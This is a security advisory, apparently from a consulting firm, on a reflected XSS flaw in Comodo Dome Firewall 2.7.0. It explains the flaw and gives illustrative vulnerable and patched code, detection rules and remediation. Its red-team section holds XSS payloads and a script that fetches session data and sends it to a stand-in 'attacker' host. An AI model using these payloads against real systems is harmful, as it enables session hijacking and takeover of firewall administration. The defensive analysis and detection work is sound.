CVE-2019-25415

Executive Summary

CVE-2019-25415 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The vulnerability exists in the hotspot_permanent_users endpoint, where the MACADDRESSES parameter is not sanitized before being reflected back to the user. An attacker can craft a POST request containing malicious JavaScript in the MACADDRESSES parameter. When a victim (typically an administrator) submits this request or clicks a crafted link, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the firewall management interface.

This vulnerability is classified as a reflected XSS (CWE-79) and has a CVSS v3.1 base score of 6.1 (Medium). The attack vector is network-based, requires low complexity, no privileges, but does require user interaction. The impact is limited to confidentiality and integrity of the user's session, not the underlying system.

Supply Chain & Package Security

Not applicable. This is a network appliance vulnerability, not a software package.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the reflection.
• User Interaction (UI): Required (R) – Victim must click a crafted link or submit a crafted form.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (the browser).
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data (e.g., perform actions as the victim).
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking in a firewall management interface elevates the risk for enterprise environments.

Deep Dive & Mechanics

The vulnerability resides in the hotspot_permanent_users endpoint of the Comodo Dome Firewall web interface. This endpoint is used to manage permanent hotspot users. The MACADDRESSES parameter is intended to accept MAC addresses but does not validate or sanitize the input. When the server processes a POST request to this endpoint, it reflects the value of MACADDRESSES back in the HTTP response without proper encoding.

An attacker can exploit this by crafting a URL or form that submits a payload like:

MACADDRESSES=<script>alert('XSS')</script>

When an administrator visits the crafted URL or submits the form, the browser executes the injected script. The script runs in the context of the firewall's web interface, allowing the attacker to:

• Steal session cookies.
• Perform actions on behalf of the administrator (e.g., modify firewall rules).
• Redirect to phishing pages.
• Deploy further client-side attacks.

The vulnerability is classified as reflected XSS because the payload is not stored on the server; it is immediately reflected in the response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable endpoint likely processes the POST request and directly includes the MACADDRESSES parameter in the HTML response without sanitization.

# Vulnerable Python/Flask example
@app.route('/hotspot_permanent_users', methods=['POST'])
def hotspot_permanent_users():
    mac = request.form.get('MACADDRESSES')
    return f"<html><body>MAC Address: {mac}</body></html>"

Patched Code (Conceptual): A patched version would properly encode the output to prevent script execution.

# Patched Python/Flask example
from markupsafe import escape

@app.route('/hotspot_permanent_users', methods=['POST'])
def hotspot_permanent_users():
    mac = request.form.get('MACADDRESSES')
    safe_mac = escape(mac)
    return f"<html><body>MAC Address: {safe_mac}</body></html>"

Note: Since no official patch has been released, the above is a best-practice mitigation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: Comodo Dome Firewall 2.7.0 with web interface accessible.
• Attacker: Ability to craft a malicious link or form.

Exploit Steps:

1. Craft the malicious payload:

   <form action="http://target/hotspot_permanent_users" method="POST">
       <input type="hidden" name="MACADDRESSES" value="<script>alert('XSS')</script>">
       <input type="submit" value="Click me">
   </form>
   

   Or a direct link:

   http://target/hotspot_permanent_users?MACADDRESSES=<script>alert('XSS')</script>
   

2. Deliver the payload: Send the link or form to an authenticated administrator via email, social engineering, or other means.

3. Execute: When the victim submits the form or clicks the link, the script executes in their browser.

Advanced Payload (Session Hijacking):

<script>
fetch('/session').then(r => r.text()).then(t => fetch('http://attacker/steal?data=' + encodeURIComponent(t)));
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to /hotspot_permanent_users with suspicious MACADDRESSES parameters containing <script>, onerror=, or other HTML/JavaScript constructs.
• Look for anomalous referrer headers or user agents.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the MACADDRESSES parameter.
• Enforce strict input validation: only allow MAC address format (e.g., ^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$).
• Apply output encoding on all user-supplied data before reflection.

Lab Setup:

1. Deploy a Comodo Dome Firewall 2.7.0 in an isolated lab environment.
2. Access the web interface as an administrator.
3. Use a tool like Burp Suite or cURL to send a crafted POST request:

   curl -X POST http://target/hotspot_permanent_users -d "MACADDRESSES=<script>alert('XSS')</script>"
   

4. Observe the reflected script in the response.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /hotspot_permanent_users with MACADDRESSES parameter containing <script>, onerror, onload, or other JavaScript event handlers.
  • Outbound connections from the firewall to attacker-controlled domains (if session hijacking payload is used).
• Host IOCs:
  • Browser history or logs showing visits to URLs with encoded or raw <script> tags in the query string.
  • Unusual JavaScript execution in the context of the firewall's web interface.
• Log IOCs:
  • Web server logs showing MACADDRESSES parameter values that do not match MAC address format (e.g., containing <, >, script).

Detection Engineering

YARA Rule

rule CVE_2019_25415_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Comodo Dome Firewall hotspot_permanent_users endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25415"
    strings:
        $endpoint = "/hotspot_permanent_users"
        $xss_payload_1 = /MACADDRESSES=.*<script/i
        $xss_payload_2 = /MACADDRESSES=.*onerror/i
        $xss_payload_3 = /MACADDRESSES=.*onload/i
        $xss_payload_4 = /MACADDRESSES=.*javascript:/i
    condition:
        $endpoint and any of ($xss_payload*)
}

Sigma Rule

title: Reflected XSS Attempt on Comodo Dome Firewall
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /hotspot_permanent_users with suspicious MACADDRESSES parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/hotspot_permanent_users'
        cs-uri-query|contains: 'MACADDRESSES='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of MAC addresses containing 'script' (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25415 - Reflected XSS in Comodo Dome Firewall hotspot_permanent_users"; flow:to_server,established; content:"POST"; http_method; content:"/hotspot_permanent_users"; http_uri; content:"MACADDRESSES="; http_client_body; pcre:"/MACADDRESSES=.*(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the firewall: If possible, restrict access to the management interface to trusted IPs only (e.g., via firewall rules or VPN).
2. Disable the hotspot feature: If not required, disable the hotspot_permanent_users endpoint or the entire hotspot module.
3. Apply a WAF rule: Block requests containing <script> or other XSS patterns in the MACADDRESSES parameter.

Long-term Fix:

• Since no official patch is available, consider upgrading to a newer version of Comodo Dome Firewall (if available) or migrating to an alternative solution.
• Implement input validation and output encoding in the application code (if source is accessible).
• Regularly monitor for vendor updates.

Workaround:

• Use a reverse proxy (e.g., Nginx, Apache) to sanitize or block malicious requests before they reach the firewall.

Valters IT
Securing Digital Frontiers